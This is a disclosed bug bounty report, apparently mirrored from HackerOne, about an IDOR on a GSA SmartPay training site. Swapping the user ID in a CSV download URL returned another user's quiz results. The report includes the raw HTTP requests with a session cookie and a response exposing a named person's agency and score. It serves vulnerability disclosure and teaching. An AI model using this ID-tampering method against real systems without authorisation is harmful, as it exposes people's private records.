IDOR at training.smartpay.gsa.gov/reports/quizzes-taken-by-user
The report describes an IDOR vulnerability where changing the user ID in a CSV download URL allows an attacker to view another user's quiz results. The attacker could access sensitive information such as names, agency, and scores.
Originally disclosed on HackerOne
- Triaged in 31 hours
- Fixed in 10 days
- Disclosed after 49 days
Hey, I found an IDOR that allow anyone view other user result by changing USERID parameter. /reports/quizzes-taken-by-user.csv/USERID
Step to Produce: Go to the Section quizzes-taken-by-user as Shown in the Screenshot attached. Step 2: Click on Download CSV. Step 3 Intercept the Request using the Burp Suite. Step 4 Change the USERID. /reports/quizzes-taken-by-user.csv/USERID Attacker UserID:1226357 Victim USerID: 1226356
HTTP Request:
GET /reports/quizzes-taken-by-user.csv/1226357?page&_format=csv HTTP/1.1 Host: training.smartpay.gsa.gov User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: https://training.smartpay.gsa.gov/reports/quizzes-taken-by-user Cookie: SSESS28e7f609ef3740479765aac8be8703ba=xzcTawn0KZkMPGcsSl2KlRBSwOH8PJDmJ5BpAKI5yNA Upgrade-Insecure-Requests: 1
Change the User ID from 1226357 to 1226356
GET /reports/quizzes-taken-by-user.csv/1226356?page&_format=csv HTTP/1.1 Host: training.smartpay.gsa.gov User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: https://training.smartpay.gsa.gov/reports/quizzes-taken-by-user Cookie: SSESS28e7f609ef3740479765aac8be8703ba=xzcTawn0KZkMPGcsSl2KlRBSwOH8PJDmJ5BpAKI5yNA Upgrade-Insecure-Requests: 1
HTTP Response for 1226356:
HTTP/1.1 200 OK Date: Sat, 06 Mar 2021 06:48:40 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Cache-Control: must-revalidate, no-cache, private Content-Disposition: attachment; filename="quizzes-taken-by-user.csv" X-Drupal-Dynamic-Cache: UNCACHEABLE X-UA-Compatible: IE=edge Content-language: en X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Expires: Sun, 19 Nov 1978 05:00:00 GMT X-Generator: Drupal 8 (https://www.drupal.org) Access-Control-Allow-Credentials: true Content-Length: 218 Connection: close Content-Type: text/csv; charset=UTF-8
"First Name","Last Name",Agency,Title,Score,Started,Completed Sharon,Cly-Stryker,"Department of the Interior","GSA SmartPay Travel Account (Account Holders/AOs)",100%,"Sat, 03/06/2021 - 00:44","Sat, 03/06/2021 - 01:29"
HTTP Response for 1226357
HTTP/1.1 200 OK Date: Sat, 06 Mar 2021 06:49:48 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Cache-Control: must-revalidate, no-cache, private Content-Disposition: attachment; filename="quizzes-taken-by-user.csv" X-Drupal-Dynamic-Cache: UNCACHEABLE X-UA-Compatible: IE=edge Content-language: en X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Expires: Sun, 19 Nov 1978 05:00:00 GMT X-Generator: Drupal 8 (https://www.drupal.org) Access-Control-Allow-Credentials: true Content-Length: 0 Connection: close Content-Type: text/csv; charset=UTF-8
Impact
Confidentiality will Compromised
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application does not verify that the authenticated user is authorised to access the requested user ID.
Impact
An attacker could view other users' quiz results, compromising confidentiality.
What the attacker needed
Authenticated user; ability to intercept HTTP requests
How it was found
- Go to the quizzes-taken-by-user section.
- Click on Download CSV.
- Intercept the request using Burp Suite.
- Change the USERID in the request.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An IDOR (Insecure Direct Object Reference) is a flaw where a website uses a user ID in a URL without checking if you are allowed to see that user's data. Here, by changing the number at the end of the link, anyone could download someone else's quiz results.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.